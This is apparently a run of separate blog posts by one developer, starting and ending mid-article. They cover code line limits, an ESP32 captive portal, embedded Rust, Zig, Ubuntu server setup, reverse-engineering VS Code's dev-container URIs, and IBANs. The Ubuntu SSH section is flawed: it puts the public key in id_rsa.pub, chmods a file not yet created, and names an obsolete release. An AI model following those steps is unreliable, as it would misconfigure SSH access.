Another big problem is that these limits force developers to split lines into new ones to avoid horizontal scrolling. This just shifts the problem and results in more vertical scrolling, as the text becomes longer vertically, even if you have a very wide display.

Take this screenshot as an example:

Same TypeScript code - 60 characters per line on the left, 120 on the right. The code with the 60-character line limit is twice as high.

Why should someone writing code decide how I want to read the text and size my window? Shouldn't this be the responsibility of the text editor?

Well, some people argue that it allows them to read faster. Is this true? There is not a lot of ‘real‘ research in this field, but I found an interesting study by Atilgan, et al. (https://www.pnas.org/doi/full/10.1073/pnas.2007514117).

They determined that there is a minimum limit of characters per line at around 13 characters for normal-sighted people when reading text (not code). A maximum does not seem to exist (though this was not the focus of the study). However, the participants did not have to scroll at any point because the text automatically wrapped to the next line near the end of the display area.

Then there is also this Study by Shaik, et al. which was sponsored by Microsoft (https://www.semanticscholar.org/paper/The-effect-of-line-length-and-passage-type-on-and-Shaikh-Chaparro/4539b499d5b9d911901a99460dda3da7ce037041). They also find that longer CPLs lead to faster reading speeds independent of the type of text (narrative passages and news articles). However, they found that the comprehension of texts (not code) could actually be better when using shorter line lengths; the personal preferences of readers might be completely different - tough results are not very conclusive.

Alternatives to Line Limits

So what do I propose instead?

There are two alternatives - one we already touched: Horizontal scrolling. There are a few arguments against this. For one, most people have only one mouse wheel (which is vertically positioned on the mouse) and to scroll horizontally, they need to hold down some other button or use the keyboard. It’s also pretty easy to lose your sense of position in a document when scrolling in two dimensions. The worst part: You might actually overlook some piece of code you were looking for because now it’s easy to ‘scroll’ around something.

So what else is there? Well, what we could do manually by splitting lines (or letting our formatting tool do for us), our editor can do as well - crazy right? It’s called line wrapping. In vscode it can be turned on and off with a simple command or key combination. It will shorten the lines and move content to the next one depending on what fits in your editor window.

Conclusion

I cannot find a single logical reason for why we would actually need character line limits when writing code - at least when we assume that part of the developer’s job is to structure and format their code in a readable way.

But, to be completely honest, sometimes it just feels better to read 80 or 120 CPL limited code. I am not totally sure why, maybe horizontally scrolling is too annoying or the line-wrapping functionality of my editor is bad? Maybe it depends on the programming language or my display? I might have to pay more attention to this gut feeling in future.

Or I just go on, don’t care and use the recommendation of the code style which we are adhering to… Since I spent way too much time researching this and who cares anyway…

Also it probably just makes sense to have any kind of line limit in big projects to prevent trolls from abusing it.

By the way, after some more personal research, I found the perfect solution to make code more readable: Center-alignment.

Just kidding - please don’t.

Cheers

Some background: I work for a company building second-life storage systems. To track our system, we have an embedded device, written in Rust, which pushes data to the cloud. Now, when installing a new system at the customer's site, this device needs to be configured and connected to the customer's WiFi.

We need some kind of interface to enter the configuration and write that onto the device. First, the device installer needs to connect to the device somehow. But this is easy! As presented in the last blog post, we use an ESP32, which comes with WiFi built-in. So we can just open up a hotspot and connect to it.

We can then use a command line interface, which connects over the access point to the ESP, to perform the actual configuration. However, the installation typically is done by non-programmers. Instead, we need some kind of user interface. An app sounds like a good idea! But then it has to stay compatible with multiple iterations of our embedded device (which we call "edge device") and keep supporting older versions.

Instead, we opted to develop a small website, which is served by the edge device and opens up once you log into its WiFi (similar to the captive portals that open up when connecting to some airport WiFi). This website is not just HTML, we also need some JavaScript for custom logic before sending the request to a different endpoint and to let the user know whether their request was successful.

This is one of the earlier iterations of our portal (the current state is rather boring since it only has one field):

To build this, I first started up a new Next.js project, which is my go-to web development framework. But react-dom alone is just way too big:

Soo, back to the roots! Throw in some of that sweet .html and .js along with a pinch of .css, et voila - we have a website.

I wish it were as easy as that. But we have some key limitations when building a frontend for our edge device, that I didn't mention until now:

1. It has to be small. Really small. Every single byte will be a byte less, which we can use to buffer messages in case of an internet outage.

2. We don't have a real (but a "real-time") operating system. Yes, we have a basic notion of scheduling and threads. But, there is no such thing as a file as part of a filesystem. Just bytes. So we can't just serve a bunch of files via HTTP.

3. Everything we write is very hardware-dependent. There is no Linux networking stack ready to be used. So if we interact with the networking stack, we directly interact with the hardware (through a small client/server abstraction) as we do with most things on embedded. So no chance of running any modern HTTP server.

Let's first tackle the second problem of embedding the website onto the device. We have a bunch of files that make up the website. But what we need in the end, is just a chunk of bytes (remember, we don't have a filesystem).

Without a framework, we have to build the build pipeline ourselves. We use Webpack (but it's on my to-do list to check out Turbopack, which is written in Rust) to bundle all JavaScript files and all CSS files together. This also allows us to use TypeScript!

TypeScript is an extension to JavaScript which adds types (duh). It makes programs safer and easier to maintain. However, we can still profit from the vast JavaScript ecosystem, because it's interoperable with it - TypeScript just transpiles to JavaScript in the end (which makes it run in browsers without web assembly). Also, since we already use Rust, one of the safest programming languages out there, we just couldn't get away with using JavaScript!

You can embed TypeScript, CSS and other resources like images into HTML, but we didn't find a neat solution to do it with Webpack (but I'm sure there is a plugin for this somewhere out there). I then found monolith on GitHub. It's meant for archiving webpages into a single file, but it also solves exactly our use case. We run it right after Webpack and it embeds all the website's resources base64-encoded into one single HTML file, which we then embed into our code.

Challenge solved! Next up: Making it small. We already use a quite minimal CSS library called Skeleton. Webpack has a minification step and monolith embeds resources in base64. That makes it small, but not small enough.

Luckily browsers nowadays support compression. Meaning, we can send the client our compressed HTML file, and as long as we include information about the compression in the response headers, the client will decompress it first. We managed to reduce the size of the website by 65% by using the Brotli compression algorithm! Great! Our new pipeline now looks like this: Run the bundler (Webpack), run monolith to get one file and then compress it using Brotli.

So are we done? Not quite! There is another requirement I didn't tell you about: On the website, we need to be able to display if the device is already configured. We also want to show the current version, state and some other stuff. We could just make a request from our frontend back to the backend and ask for that information. But this would require a second API endpoint which builds some JSON response with all that data. This would increase our code complexity, and we would have to handle a bunch of new error cases (remember, everything is way harder on embedded). Also, it's a bit weird: We just sent the whole website with all its resources, why can't we send this data along with it? Because the body was compressed and inserted during compile time!

So, what are our options besides that nasty second request? We cannot look for some byte markers and modify the bytes directly since it's already compressed - and it would be horrible to maintain. In our HTTP response, the body is compressed, but remember what such a response looks like:

We still have the headers we can use to pass information to the clients. Headers are not compressed and allow us to send arbitrary key-value pairs to the client. However, you cannot access them from the body (HTML/JavaScript) to actually display them (probably due to some security concerns)! Or can you?!

Let me present to you: The server-timing header! This header allows the server to pass some performance metrics to the client - which can read its values through the browser's JavaScript API. The values can be set like this: server-timing: key1;desc="value1", key2;desc="value2". We can then simply use window.performance.getEntriesByType('navigation') to read those values. Easy!

Buuut, Safari does not support this yet. So as neat as this sounds - we can't use it. However, there is yet another header type we can (ab)use in a similar way. Cookies! Cookies are meant to store information about the user across browser sessions. They are set by headers and can be read out with JavaScript (or TypeScript in our case). However, they behave a bit differently than the server-timing header, because they are persistent. So in order to use them, we set a really low expiry date and delete them right after reading them.

And with that, we have a neat little frontend which we can use to configure our systems. If you haven't yet read the first part of this article, go over here to learn more about why we chose Rust in the first place.

"Thanks to its direct access to both hardware and memory, Rust is well suited for embedded systems and bare-metal development." - GitHub

It all started in 2022, with me getting annoyed by our C implementation of a small piece of software running on an ESP32 (a microcontroller with built-in internet connectivity). The purpose of the software was to read messages via UART (serial interface/protocol, often used to communicate between embedded devices) and send them to some cloud services via MQTT (messaging protocol, often used to communicate between IoT devices). Seems simple enough, right? Well, we had some additional requirements in terms of reliability, regarding the layout of the resulting JSON MQTT messages and concerning the content of the UART messages which is rather difficult to parse.

To give you some more context: I work for a startup named STABL Energy where we build revolutionary energy storage systems, that are based on second-life batteries (batteries that were used in electric cars before). Instead of recycling them just now, we can use those perfectly fine batteries to (for example) back large PV farms and prolong their lives just a little bit more. The device I was talking about before is used to connect our battery storage systems to the cloud for monitoring and remote control. We also use it during development, to test new features in our system - so it really needs to be reliable, because we don't want to lose any data.

Our C implementation was a small (very prototype) software running on the ESP32 platform. It had some serious runtime issues, preventing it from working reliably, that were hard to debug. And debugging on embedded is a lot more complicated than debugging software targeting desktop architectures. I have much respect for C (and even more for people programming in C), but I think its era is coming to an end. As I wrote in a previous blog post, Zig could be a quite good modern replacement in the future. But Zig is rather new and at the time we worked with the C implementation, I didn't even know that Zig existed. However, I did a lot with Rust in personal projects at that time. The developer experience in Rust is just on the next level and the software you write is reliable without giving reliability, memory allocation etc. too much thought in the first place.

At STABL Energy, we didn't use any Rust before. We mainly used C for embedded and Python for anything else. But since I got to lead this project and had a great time with Rust, we ended up writing a prototype using ESP IDF, which even allowed us to use the Rust standard library. Long story short: Our Rust prototype ended up much more reliable than the C implementation. We spent a little bit more time writing the software (Rust takes longer to write than C) to achieve the same functionality but spent basically zero time debugging (since there weren't that many bugs) - so we stuck with it. At that time the Rust support from Espressif (the company behind the ESP32) was rather new and experimental (and it still is), but it kept improving and we noticed quite the investment from Espressif in terms of work spent working on Rust support for their platform.

Fast forward to 2024: We now used the ESP32 with our custom software written in Rust for over a year in production, with great success. The devices transmit data 24/7 and we have no known bugs (I don't even remember the last bug we had). There is just one problem: Who maintains and further develops this project? While there are some pretty passionate Rust developers (& consultancies) out there (even in Germany) and even more that would be willing to learn Rust, it is not viable to hire one sole Rust developer for this (small) project. Since Rust, and especially embedded Rust (lots of FFI & unsafe), is quite hard to learn, it is not viable (for us) to retrain a C developer to Rust. Luckily we found a Rust developer who was willing to learn C as well.

So what's the state of embedded Rust outside of our small project? Dion, from Tweedegolf, recently published a great article about the current state: He says that what works and does not work heavily depends on the specific use case and willingness to build the missing pieces yourself or rely on open-source software. There are still some rough edges, as visualised in his infographic, but overall Rust is a viable programming language choice for embedded projects.

If, in the future, I were faced with a choice between C and Rust for embedded development again, I would most likely choose Rust because of how successfully we used it in the past. Let me know if you heard about some similar projects - I am always excited to hear about embedded Rust!

In the last year, I heard a couple of times about a new low-level programming language called Zig. And now I finally found the time to try it out. In this article, I want to talk about the things I liked and disliked about Zig from the perspective of a Rust developer (and the high standards they are used to 🦀👑).

So what is Zig?

Zig describes itself as "... a general-purpose programming language and toolchain for maintaining robust, optimal and reusable software.". Sounds very generic, eh?

The "unique selling points" are:

• No hidden control flow; you control everything

• No hidden memory allocation; they are all explicit and allow to use different allocation strategies

• No preprocessor, no macros; directly write compile time code in Zig instead

• Great interoperability with C/C++; supports cross-compilation; can be used as a drop-in replacement for C.

Zig is a bit similar to Rust since both focus on performance and safety. They don't use garbage collection, use LLVM as the compiler backend, and provide code testing capabilities. Both use a modern syntax and offer programming features like error handling and options.

const std = @import("std");

/// Removes the specified prefix from the given string if it starts with it.
pub fn removePrefix(input: []const u8, prefix: []const u8) []const u8 {
    if (std.mem.startsWith(u8, input, prefix)) {
        return input[prefix.len..];
    }
    return input;
}

Even though it simplifies a lot, I like to say that Zig is to C what Rust to C++ is. Others say, that Zig is the modern successor of C. As a rule of thumb, it probably makes sense to use Zig in projects where you would have used C before.

Is it good?

I usually learn new programming languages by simply writing some simple programs from start to finish. In this case, my goal was to write a telnet client (an old network protocol for remote access to terminals). This was quite a journey since telnet is a lot more complex than it seems. But this deserves an article on its own.

It actually took me more than one day to implement this project, but after a full day of working on it, I had the feeling that I understood the basics of Zig. You can find the source code here: https://github.com/michidk/telnet-zig/

What I dislike about Zig

The barrier of liking Zig is not too high, since I really dislike programming in C. So let's first discuss the things I disliked:

The Zig community and ecosystem are rather small, and not many libraries are available. Those that are available are also not very fleshed out yet. This is very different for Rust, where you can find at least one very popular and well-implemented crate for each problem which you might want to outsource to a library.

Zig comes with a standard library that is similarly minimalistic like the Rust standard library. It is yet rather small but carefully designed. The documentation is not very good and many methods are undocumented.

Undocumented code from std.io.Writer (https://ziglang.org/documentation/master/std/#A;std:io.Writer):

There is no proper pattern matching in Zig. However, switch statements are quite powerful and when nesting them it is possible to achieve something similar, like one can do with Rust's match statement.

In Rust, traits (or interfaces in other languages) allow for polymorphism - the ability to write code that can operate on objects of different types. This is a powerful feature for designing flexible and reusable software components. Zig, however, lacks this feature. It relies on other mechanisms like function pointers or comptime polymorphism, which can be less intuitive and more cumbersome for scenarios typically handled by interfaces or traits.

But to be honest, I wouldn't have expected otherwise, since Zig is rather young and only recently gained in popularity.

Why I love Zig

Tooling, Build System & Tests

Even though the language is rather young, the tooling is great! However is not as advanced as the Rust tooling with cargo and clippy (yet). Only the most recent version v0.11 delivered us an official package manager, called Zon. It can be used together with the build.zig file (which is similar to a build.rs in Rust) to load libraries from GitHub into our project without much hassle (I don't even want to know how much valuable lifetime cmake and make have cost me in the past).

$ zig build-exe hello.zig
$ ./hello
Hello, world!

Similarly to Rust, Zig comes with robust testing capabilities built into the language. Tests in Zig are written in special functions, allowing them to reside alongside the code they are validating. Unique to Zig is the ability to leverage its compile-time evaluation features in tests. Additionally, Zig's support for cross-compilation in testing is particularly noteworthy, enabling developers to effortlessly test their code across various target architectures. Some people even use Zig to test their C code!

const std = @import("std");
const parseInt = std.fmt.parseInt;

// Unit testing
test "parse integers" {
    const ally = std.testing.allocator;

    var list = std.ArrayList(u32).init(ally);
    defer list.deinit();
...

The Language

The language itself is well-designed and the syntax is quite similar to Rust. Both have a type system that emphasizes strong, static typing, though the way they handle types and type inference differs.

Error Handling and Optionals

Zig and Rust both promote explicit error handling, however their mechanisms are different. Rust uses Result enums, while Zig uses a (global) error set type (though similar to an enum) and error propagation. Similarly, Rust uses the Option enum for optional types, while Zig uses a type modifier (?T). Both offer modern, syntactic sugar to handle those (call()? and if let Some(value) = optional {} in Rust, try call() and if (optional) |value| {} in Zig). Since Rust uses the standard library to implement error handling and options, users have the possibility to extend those systems which is quite powerful. However, I like the approach Zig takes in providing those things as language features. While their approach fits well into the C universe, I dislike that there is no pragmatic way to add more context to an error (but well, no allocations). Libraries like clap solve this by implementing a diagnostics mechanism.

// Hello World in Zig
const std = @import("std");

pub fn main() anyerror!void {
    const stdout = std.io.getStdOut().writer();
    try stdout.print("Hello, {s}!\n", .{"world"});
}

C Interop

The C interoperability in Zig is world-class. You don't need to write bindings, with Zig you can just use the @cImport and @cInclude built-in functions (which parses C header files) to directly use C code.

Comptime

Zig allows us to write Zig code (no special macro syntax like in Rust), which is evaluated during compile time using the comptime keyword. This can help to optimize the code and allows for reflection on types. However, dynamic memory allocations are not allowed during compile time.

Types

Like in Rust, Zig types are zero-cost abstractions. There are Primitive Types, Arrays, Pointers, Structs (similar to C structs, but can include methods), Enums and Unions. Custom types are implemented through structs and generics are implemented by generating parameterized structs during compile time.

// std.io.Writer is a compile-time function which returns a (generic) struct
pub fn Writer(
    comptime Context: type,
    comptime WriteError: type,
    comptime writeFn: fn (context: Context, bytes: []const u8) WriteError!usize,
) type {
    return struct {
        context: Context,

        const Self = @This();
        pub const Error = WriteError;

        pub fn write(self: Self, bytes: []const u8) Error!usize {
            return writeFn(self.context, bytes);
        }
...

Memory Allocation

Unlike Rust, which employs an automatic borrow-checker to manage memory, Zig opts for manual memory management. This design decision aligns with Zig's philosophy of giving the programmer full control, reducing hidden behaviors and overhead.

At the core of Zig's memory management strategy is the Allocator interface. This interface allows developers to dictate precisely how memory is allocated and deallocated. Developers can choose from several allocators or implement custom ones tailored to specific needs or optimization goals.

This is great but can be a bit annoying in practice. The allocator is typically created at the beginning of the application code and assigned to a variable. Methods which want to allocate memory, require the allocator as a parameter in their function signature. This makes allocations very visible but also can get a bit annoying because it has to be passed around through multiple functions throughout the whole application (at least to the parts where you allocated memory).

Cross Compilation

Zig, like Rust, has native support for cross-compilation. Its integrated toolchain simplifies compiling for different architectures or operating systems. Setting the target architecture in Zig is as straightforward as passing an argument in the build command:

# Build for Windows on Linux
zig build -Dtarget=x86_64-windows-gnu

In contrast, Rust requires the installation of the target platform's toolchain through rustup and often necessitates manual linker configuration for the target platform.

Conclusion

I find Zig to be a well-designed, fun, and powerful language. It can be challenging to use because of the small ecosystem and the lack of documentation, which most likely will improve soon with increasing popularity. Zig provides modern syntax, a great type system, complete control over memory allocations and state-of-the-art language features.

Overall, I enjoyed programming in Zig and I think it has a lot of potential to become a popular choice for low-level development. Personally, I think Zig could be a real game changer for embedded systems (in a few years) and I am quite excited to see what the future holds for Zig.

I encourage you to give Zig a try⚡.

Why Ubuntu?

Ubuntu has rapidly become one of the most popular choices for server environments. This preference stems from Ubuntu's stability, ease of use, and robust support.

1. Long-Term Support (LTS) Releases: Ubuntu's Long-Term Support versions, released every two years, are a cornerstone of its reliability. These LTS releases are supported with updates for five years, ensuring stability and security without the need for frequent major upgrades. This long-term support is crucial for servers, where uptime and stability are paramount.

2. Widespread Community: With its growing popularity, Ubuntu has amassed a large and active community. This community provides extensive resources, forums, and documentation, aiding in troubleshooting and knowledge sharing.

3. User-Friendly Yet Powerful: Ubuntu strikes a balance between user-friendliness and advanced capabilities. Its package management system (APT) and extensive repositories make software installation and management a breeze. Ubuntu also maintains compatibility with a wide range of hardware, ensuring flexibility in server deployment.

4. Robust Security Features: Ubuntu is known for its strong security measures. Features like AppArmor, a mandatory access control framework, and regular security updates provide robust protection against vulnerabilities. The inclusion of fail2ban and unattended upgrades in server setups further fortifies its security posture.

Initial Software Installation

Upon logging into your fresh Ubuntu server, the first step is to elevate to superuser status with sudo -i, providing full administrative rights. This is necessary for installing and configuring various essential packages.

apt update && apt upgrade -y
apt install -y fail2ban htop git curl wget gnupg lsb-release unattended-upgrades apt-transport-https ca-certificates locales nano vim

Why These Packages?

• fail2ban: Protects against brute-force attacks.

• htop: Offers an interactive process viewer (better than top).

• git, curl, wget, gnupg: Essential tools for downloading and verifying files.

• lsb-release, apt-transport-https, ca-certificates: Tools required for secure software installation.

• locales: Supports system language preferences.

• nano, vim: Provides text editors for configuration.

Most other basic software like cat is preinstalled on Ubuntu (sometimes curl & wget are as well, but that depends on the image you used).

Initial Configuration

Configuring the locale is vital for consistency in language and character encoding across the system. It ensures that your server interacts correctly with software and services. Edit sudo nano /etc/locale.gen and uncomment the language you need.

locale-gen
echo -e 'LANG="en_US.UTF-8"\nLANGUAGE="en_US:en"\n' > /etc/default/locale

Hostname and Hosts File

Setting a descriptive hostname improves the manageability of your server, especially in a network of multiple machines.

sh -c 'echo "
127.0.1.1          <domain> <alias>
<YOUR IP>          <domain> <alias>
" >> /etc/hosts'
sudo hostnamectl set-hostname <domain>
sudo hostnamectl set-hostname "<alias>" --pretty

For <domain> I would use something like node1.example.com and for <alias> node1.

Secure Log In

Creating a non-root user with sudo privileges enhances security by limiting root access.

useradd <username>
usermod -aG sudo <username>

Set up SSH keys for secure, password-less login. Setup the .ssh/ folder and upload your public key.

mkdir -p /home/<username>/.ssh
chmod 700 /home/<username>/.ssh
chmod 400 /home/<username>/.ssh/authorized_keys
chown <username>:<username> /home/<username> -R
# then put your public ssh key into /home/<username>/.ssh/id_rsa.pub

Modifying the SSH configuration (/etc/ssh/sshd_config) to disable root login and password authentication significantly reduces the server's vulnerability to unauthorized access.

PermitRootLogin no
PasswordAuthentication no

Then run service ssh restart.

Automatic Security Updates

Configuring unattended-upgrades ensures that your server stays up to date with the latest security patches, reducing the risk of vulnerabilities.

/etc/apt/apt.conf.d/20auto-upgrades:

APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";
APT::Periodic::Download-Upgradeable-Packages "1";
APT::Periodic::AutocleanInterval "7";

Limiting automatic upgrades to security updates prevents unexpected changes in system behaviour due to non-critical updates.

/etc/apt/apt.conf.d/50unattended-upgrades:

Unattended-Upgrade::Allowed-Origins {
        "Ubuntu lucid-security";
};

A Solid Start

The steps outlined provide a basic foundation for any Ubuntu server. There is a LOT more you can and should do to make your server more secure. But those are the absolute basics I always do before anything else!

Dev containers allow you to open up projects and have them running in a fully pre-configured environment with one click!

... is how I introduced the concept of dev containers in my last article.

I also mentioned that I have been working on a small utility named vscli, which enables you to launch Visual Studio Code (vscode) from the command line (CLI) or a terminal user interface (TUI) like this:

Now this does not look very complicated, right? The cool thing is (and actually the main problem I want to solve with this tool), that it can also open devcontainers. So if it detects that the folder you are trying to open, with e.g. vscli dev/myproject, contains a dev container configuration file, it will open it in a vscode dev container instead.

Now, you might think it is as easy as calling a command like code dev/myproject --devcontainer behind the scenes. You couldn't be more wrong!

Before explaining how this actually works, I want to let you know that it will get a lot weirder when we try to add support for a new dev container feature later.

How everyone does it

This is not a problem that hasn't been solved before. Lots of people want to start their dev containers right from the CLI, without navigating menus in vscode. So if you look through various bash scripts and some issues on GitHub, you will find that most people solve this by executing the following command:

code --folder-uri vscode-remote://dev-container+<some_weird_hex_string><a_path>

Which then could look like this:

code --folder-uri "vscode-remote://dev-container+5c5c77736c2e6c6f63616c686f73745c417263685c686f6d655c6d696368695c6465765c7673636c69/workspaces/vscli

The last part (/workspaces/vscli in this case) is the path we want vscode to open inside the container. It is /workspaces/project_folder_name by default, but it can be overwritten inside the dev container configuration file.

The hex value is the path on the host, encoded in hex. Decoded could look like this (when the dev container was launched from WSL):

\\wsl.localhost\Arch\home\michi\dev\vscli

Note: We used WSL here, so most paths will be WSL paths. However, it works quite similarly on Windows.

How did we figure that out?

Well, I got the hint from this GitHub issue. Also, it seems like at one time a devcontainer open command existed in the old dev container CLI (it does not exist anymore since the CLI wants to be editor-agnostic).

There is also another version of the dev container CLI, which is included in the proprietary vscode dev container extension. This version actually includes the devcontainer open utility, but we only have access to the minified JavaScript code.

So if this problem is already solved, why implement our own CLI tool? Well, there are multiple reasons: closed-source, sending telemetry by default, and cannot be installed with a proper packet manager.

But we want multiple containers

It was brought to my attention, that the dev containers spec/vscode released a new feature, which would allow having multiple dev container definitions inside one project (by creating multiple configuration files in different places). I needed to try it out immediately, and actually found several use cases in my projects - so vscli needs to support it as well!

But how would I tell vscode which container to open? Using the strategy mentioned earlier, there is no way to point to some specific config. I did some research, and I haven't found a single codebase or shell script containing code to open dev containers in any other way than the command above. So nobody either managed or cared enough to figure this out. Is it even possible? Well, it has to, since vscode does it too!

Down the rabbit hole...

So I sat down together with my buddy and did a late-night investigation. Here is how it went (spoiler: we actually figured it out in the end).

First, we had a look at the closed-source version of dev container CLI again, maybe it supports this? Turns out it does!

So we downloaded the source code of the dev container extension from the official marketplace: https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers. This gives us the ms-vscode-remote.remote-containers-0.320.0.vsix file. Since .vsix is basically just a .zip file, after extracting it we could explore the extension.

Luckily they not only included the compiled binary but also the Node JavaScript "source code": extension/dev-containers-user-cli/dist/node/devContainersUserCLI.js. However, it's not real source code, since the source application is probably written in TypeScript, and what we get to see is the minified, transpiled JavaScript:

This code is optimized for minimal size, so most of the functions and variable names are renamed to one-letter names and everything is put into one line without spaces.

Making sense of the code

Since this code is unreadable, it is very hard to get the control flow. We started by searching for strings we know, like vscode-remote://dev-container. And we had a match! The extracted and formatted function which uses this string looks like this:

function Z$(t, e, n, r, i, o) {
  t = moe(t);
  let s =
    r || o
      ? JSON.stringify({
          hostPath: e,
          localDocker: i,
          settings: r,
          configFile: o,
        })
      : e;
  return `vscode-remote://dev-container+${Buffer.from(s, "utf8").toString(
    "hex"
  )}${t ? `@${t}` : ""}${n}`;
}

We can see that whatever is put behind the + (variable s) is converted into hex, as we already know. n is the workspace path and the final part of the URI. t is an optional parameter I am not quite sure of. But if we look into how s (the hex-encoded part) is defined, we can see that it is either e or some JSON string depending on how r || o evaluated.

So this seems to be the solution to the problem! It is possible to pass in more data than just the project path! We don't really care for r and o at this point, but if we look into how the JSON string is constructed, we can even read what they are: r seems to be some additional settings and o the configFile? e is the hostPath, which is also used when we don't use the JSON string. So this is the path to the project we also used in the old approach. i which is put into the localDocker field is probably some boolean that describes whether to use a local or remote Docker host.

Did we solve it?

The configFile parameter is probably the file path of the dev container config file we are trying to load. So let's build up the following JSON and try to open vscode:

{
    "hostPath": "\\wsl.localhost\Arch\home\michi\dev\vscli",
    "configFile": "\\wsl.localhost\Arch\home\michi\dev\vscli\.devcontainer\testContainer.json"
}

Which opens vscode, but it will complain with the following error: \[UriError\]: Scheme contains illegal character.

We tested a few options to debug this:

• Only using hostPath without configFile: works (but we cannot choose a dev container config)

• Directly putting the dev container config file contents into configFile: UriError

• Using Windows style file paths: UriError

So configFile expects some special URI format? It's time to look into the code a bit more: Z$ is called only once:

  let q = Z$(
      void 0,
      p,
      w.workspaceFolder,
      void 0,
      void 0,
      e ? qn.file(Ze.resolve(process.cwd(), e)) : void 0
    ),

Most parameters are void 0, which is the shorter equivalent of undefined. This shows that r, i and t of Z$ are actually not used (probably for legacy reasons), so we always use the JSON format nowadays. We also learn how the input to the hostPath is constructed: qn.file(Ze.resolve(process.cwd(), e)).

At first look, it looks like it combines the path of the current folder (process.cwd()) and the relative path to the dev container config file and then passes it into a function that builds the file representation that the URI expects. After some investigation and finally ended up with this code:

var LP = ae(require("os")),
 Ze = ae(require("path"));

We concluded that Ze.resolve() is part of the node.js path library and indeed combines path segments.

The last mystery: .file()

This one was difficult. We really could not make sense of this method, since it was part of a bigger library:

var { URI: qn, Utils: awe } = AF;

// and then somewhere else in the code
// ...
        (D.extname = function (A) {
          return F.extname(A.path);
        });
    })(R || (R = {}));
  })(),
    (AF = r);
})();

Luckily, somewhere in this library, we found an error message: The "pathObject" argument must be of type Object. Received type .... I was never as excited before to find an error message. But this is something we can Google and maybe find out which library it is!

And it worked! We found a GitHub issue in the vscode GitHub repo, which referenced the exact file it is implemented in. Turns out this is the internal URI library of vscode!

The code is still quite complex, but there was an easier way anyways. I just opened up the developer tools in vscode and called the .file() function directly, passing in the path to my dev container config:

So the .file() method returns an object that is directly serialized into JSON. The UriError message from before probably hinted at the "scheme":"file", property missing. This does not look like a proper URI interface and is probably an accident, where the developers forgot to properly serialize the path - but hey, we figured it out!

So now we can use the following JSON to open our dev containers with multiple config files:

{
  "hostPath": "\\wsl.localhost\Arch\home\michi\dev\vscli",
  "configFile": {
    "$mid": 1, // optional
    "path": "/Arch/home/michi/temp/multi/.devcontainer.json",
    "scheme": "file",
    "authority": "wsl.localhost"
  }
}

There is still some work to do with getting the paths in the proper format and to make this work on Windows, but this should get you started if you want to implement this yourself. Check out the implementation of this in vscli here: https://github.com/michidk/vscli/blob/main/src/uri.rs

Now, if you try to open a project with more than one dev container using vscli, the following dialog will appear:

Want to use vscli yourself? Check it out on GitHub: https://github.com/michidk/vscli

It is especially useful if you want to keep your system clean of different SDKs with different (conflicting) Versions (looking at you Python 👀) or work on many different projects, which require different setups. It is also helpful to provide a dev container for other people to start working on your projects because they get up and running within seconds!

I have used them for more than two years and it made my developer workflow so much easier. I nowadays use them in every project - work and private!

Intro

How it works? Dev containers is a specification based on Docker. This specification describes a metadata file (devcontainer.json), which defines how the project (Docker container, IDE settings, plugins, etc) is set up.

It can look as simple as:

{
    "name": "Rust",
    "image": "mcr.microsoft.com/devcontainers/rust:1-bullseye",
}

Or get more complex like, this configuration which is based on a local Dockerfile, installs "dev container features" (will be explained later), configures some extensions, and my terminal:

{
    "name": "My Rust IDE",
    "build": { "dockerfile": "Dockerfile" },
    "features": {
        "ghcr.io/guiyomh/features/just:0": {}
    },
    "customizations": {
        "vscode": {
            "extensions": [
                "rust-lang.rust-analyzer",
                "tamasfe.even-better-toml",
                "serayuzgur.crates",
                "kokakiwi.vscode-just"
            ],
            "settings": {
                "terminal.integrated.defaultProfile": "zsh"
            }
        }
    }
}

As you can see from the customizations section, dev containers are IDE agnostic. For example, there is a project implementing dev container support into nvim. But since the Visual Studio Code (vscode) team at Microsoft invented dev containers, it is currently the IDE with the best dev container experience.

A dev container can be bootstraped by using the vscode UI or creating the configuration file by hand. There are a bunch of pre-made dev container configurations maintained by the vscode team and community ready to be used:

This video is a good resource on how to learn the basics of dev containers and how to use them in vscode:

Dev Container Features

dev containers not only allow you to define which extensions should be installed and which configuration settings shall be set, but they also have something they call "dev container features".

They are reusable modules that contain installation scripts and dev container configurations. This means allows you to configure your development environment even quicker (and install them using a vscode UI).

In my example above, I installed the developer tool "Just" as a dev container feature. I could also install it by adding the install script to my Dockerfile. However, I would have to build my own Dockerfile and would have to maintain this piece of code myself. This dev container Feature works on different architectures and base images, which makes them convenient to use.

A list of available dev container features, can be found here. However, you can also develop your own features and publish them, like I did.

Opening dev containers From the CLI

So you can use dev containers from the vscode user interface rather intuitively. All configurations can also be edited directly and there is even a CLI. However, this CLI is made editor agnostic, so there is no vscode integration.

What I have been always missing was just a simple command to open up a dev container in my current directory, inside vscode. Turns out it is not that easy!

Now, there is a proprietary dev container CLI version included in vscode (which can be only installed by adding C:\Users\<USER>\AppData\Roaming\Code\User\globalStorage\ms-vscode-remote.remote-containers\cli-bin to the PATH), that offers a devcontainer open command. I am not sure if there is a version for Linux as well. But what I am sure of, is that it sends some kind of telemetry data to Microsoft by default.

I was not happy with this solution, so I built vscli, a vscode CLI tool to launch projects and support dev containers. It works on most platforms and is written in Rust. It includes a simple terminal UI, which allows you to quick-launch your recently opened projects:

Check it out here: https://github.com/michidk/vscli

GitHub Codespaces

dev containers also power GitHub Codespaces, which allows you to have the same dev container experience in the Browser running in the Cloud!

It is a bit like github.dev (you can replace the .com with a .dev or just press . on any GitHub repo and you will get the project editable in a vscode web version), but with all the extensions and dev container running on a machine in the Cloud.

Closing Thoughts

I recommend you to check out dev containers, it made my life so much easier. At this stage, they are also pretty mature and supported by a large community.

I even know some VIM people, using vscode from time to time just because of dev containers 😉

The IBAN (International Bank Account Number) is a standardized international numbering system for bank accounts. It's used across countries to send money securely from one bank account to another.

In Germany, an IBAN might look like this: DE67834783927384738238. Now if you lend someone money for lunch (because they didn't have cash on them) and want it back, you would send them your IBAN. Now you have three options:

• Log in (and authenticate) to your banking app and copy & paste the IBAN

• Copy it out from your notes app, where you wrote it down before

• Take out your banking card and copy the IBAN number that is printed on it

• You both have PayPal, and you just share your email

• You are a maniac and know your IBAN by heart

All those options are a bit annoying and dependent on how often you find yourself in such a scenario, you might get pissed off about how unmemorable IBANs are. I am pissed off about how unmemorable IBANs are (in case you wondered).

Inspiration

You might have heard of BIP-0039. No, you probably didn't, but you might have seen something like this:

canyon situate farm wedding cluster budget truck bag goose
obtain surround soda cable galaxy spoil utility tip remember
scan danger cat lawsuit staff riot

